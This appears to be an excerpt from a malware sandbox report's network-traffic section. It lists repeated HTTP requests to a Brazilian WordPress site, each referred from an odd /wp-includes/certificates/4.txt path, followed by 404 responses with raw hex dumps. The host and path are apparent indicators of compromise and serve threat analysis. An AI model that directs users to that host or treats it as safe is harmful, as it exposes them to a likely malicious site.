Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49178
Source: unknownNetwork traffic detected: HTTP traffic on port 49178 -> 443
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:33:03 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:33:08 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:33:08 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:33:13 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 19207302Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 